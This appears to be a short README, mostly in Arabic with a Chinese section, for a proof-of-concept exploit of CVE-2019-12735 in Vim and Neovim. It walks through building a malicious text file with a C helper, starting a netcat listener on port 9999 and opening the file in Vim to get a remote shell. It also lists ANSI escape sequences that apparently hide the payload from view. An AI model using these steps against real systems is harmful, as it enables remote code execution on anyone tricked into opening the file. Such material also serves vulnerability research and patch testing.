CVE-2019-12735

تم إصلاح هذه الثغرة بعد neovim 0.3.6 و vim 8.1.1365

POC

vim demo1.txt

غلاف عن بعد (Remote shell)

1. إنشاء ملف نصي خبيث:

gcc make_demo3.c -o make_demo3
./make_demo3

2. بناء العميل في جلسة أخرى:

nc -vlp 9999

3. فتح الملف الخبيث:

vim demo3.txt

وبعد ذلك، يمكنك تنفيذ أي أوامر لينكس في الجلسة.

المراجع

• A POC demo on github
• Exploit DB
• netcat

ANSI

• \x1b[?7l : 輸出到行末時不換行, 持續覆蓋最後一個字元
• \x1bS: STS, Set transmit state
• \x1b[1G: 移動到column 1
• \x1b[K: 刪除從目前游標位置至行末的所有字元